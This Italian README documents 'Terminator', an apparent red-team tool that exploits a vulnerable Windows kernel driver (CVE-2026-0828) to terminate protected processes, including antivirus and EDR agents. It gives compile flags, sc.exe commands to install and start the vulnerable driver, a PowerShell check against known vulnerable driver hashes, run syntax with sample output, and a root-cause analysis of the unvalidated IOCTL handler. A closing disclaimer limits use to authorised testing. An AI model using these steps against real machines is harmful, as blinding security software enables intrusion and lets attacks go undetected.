Terminator - Killer di Processi per Red Team

Uno strumento di terminazione dei processi in modalità kernel che sfrutta un driver vulnerabile (CVE-2026-0828) per terminare processi protetti dalla modalità utente.

Compilazione

Richiede MinGW-w64 (GCC) su Windows. Compilare con:

g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

Dettaglio dei flag:

Output: terminator.exe autonomo (circa 20-30 KB senza simboli).

Focus tecnico

Questo progetto dimostra lo sfruttamento di un driver kernel vulnerabile (STProcessMonitorDriver) che espone un handler IOCTL_KILL_PROCESS non validato, consentendo la terminazione arbitraria dei processi indipendentemente da privilegi o meccanismi di protezione (PPL, flag EPROCESS, ecc.).

Dettaglio dell'architettura

Analisi del codice

Terminator::GetProcessPids()

• Crea uno snapshot tramite CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)
• Itera su tutti i processi con Process32First/Process32Next
• Esegue corrispondenze senza distinzione tra maiuscole e minuscole rispetto ai nomi dei processi target
• Restituisce un vettore di PID corrispondenti

Terminator::ProcessKill()

• Apre un handle verso \\.\STProcessMonitorDriver
• Entra in un ciclo di monitoraggio infinito (intervallo di 500 ms)
• Per ogni PID individuato, invia IOCTL_KILL_PROCESS (0xB822200C) con un buffer PID di 8 byte
• Nessun output quando i processi non vengono trovati; registra log solo in caso di tentativi di terminazione

Guida all'uso

Prerequisiti

Caricare il driver vulnerabile (richiede privilegi di Amministratore):

sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor

Sfruttamento di un servizio esistente

Se una versione vulnerabile di ProcessMonitorDriver.sys è già installata e in esecuzione come servizio (ad es., da un'applicazione legittima), Terminator può connettersi direttamente senza caricare un nuovo driver.

Verificare se il servizio esiste ed è in esecuzione:

sc.exe query STProcessMonitor

Verificare che la versione del driver sia vulnerabile (PowerShell):

$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
    $hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
    $vulnerableHashes = @(
        "70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b",  # 11.11.4.0
        "85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786"   # 10.5.75.0
    )
    if ($vulnerableHashes -contains $hash) {
        Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
        Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
    } else {
        Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
    }
} else {
    Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}

Se il servizio esiste ed è RUNNING con una versione vulnerabile, saltare i passaggi di caricamento del driver ed eseguire Terminator direttamente.

Versioni interessate (testate)

Altre versioni potrebbero essere interessate; verificare l'handler IOCTL del driver prima dell'uso.

Eseguire Terminator

terminator.exe -proc <process_name1> [process_name2] ...

Esempio:

terminator.exe -proc notepad.exe calc.exe

Output

[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.

Analisi di CVE-2026-0828

Vulnerabilità: Il driver STProcessMonitorDriver registra un handler IOCTL (0xB822200C) che:

1. Accetta un PID a 64 bit fornito dall'utente come buffer di input
2. Non esegue alcuna validazione sul valore del PID
3. Chiama direttamente PsLookupProcessByProcessId → ZwTerminateProcess
4. Viene eseguito nel contesto del kernel (token SYSTEM), aggirando tutte le ACL in modalità utente

Impatto: Qualsiasi utente non amministratore con accesso al driver può terminare:

• Processi protetti (PPL)
• Agenti antivirus/EDR
• Processi critici di sistema (csrss, winlogon, ecc.)
• Processi con requisiti SeDebugPrivilege

Causa principale: Mancata validazione tramite ObReferenceObjectByHandle, assenza di SeSinglePrivilegeCheck(SeDebugPrivilege) e nessun controllo degli accessi sull'oggetto processo.

Disclaimer

Questo strumento è destinato esclusivamente a ricerca sulla sicurezza autorizzata ed esercitazioni di red team.

L'uso non autorizzato contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di un'esplicita autorizzazione ai test è illegale. L'autore non si assume alcuna responsabilità per un uso improprio. Assicurarsi di disporre di un'autorizzazione scritta prima di distribuirlo in qualsiasi ambiente.

Il driver vulnerabile (ProcessMonitorDriver.sys) è volutamente difettoso a scopo dimostrativo e non dovrebbe mai essere distribuito in produzione.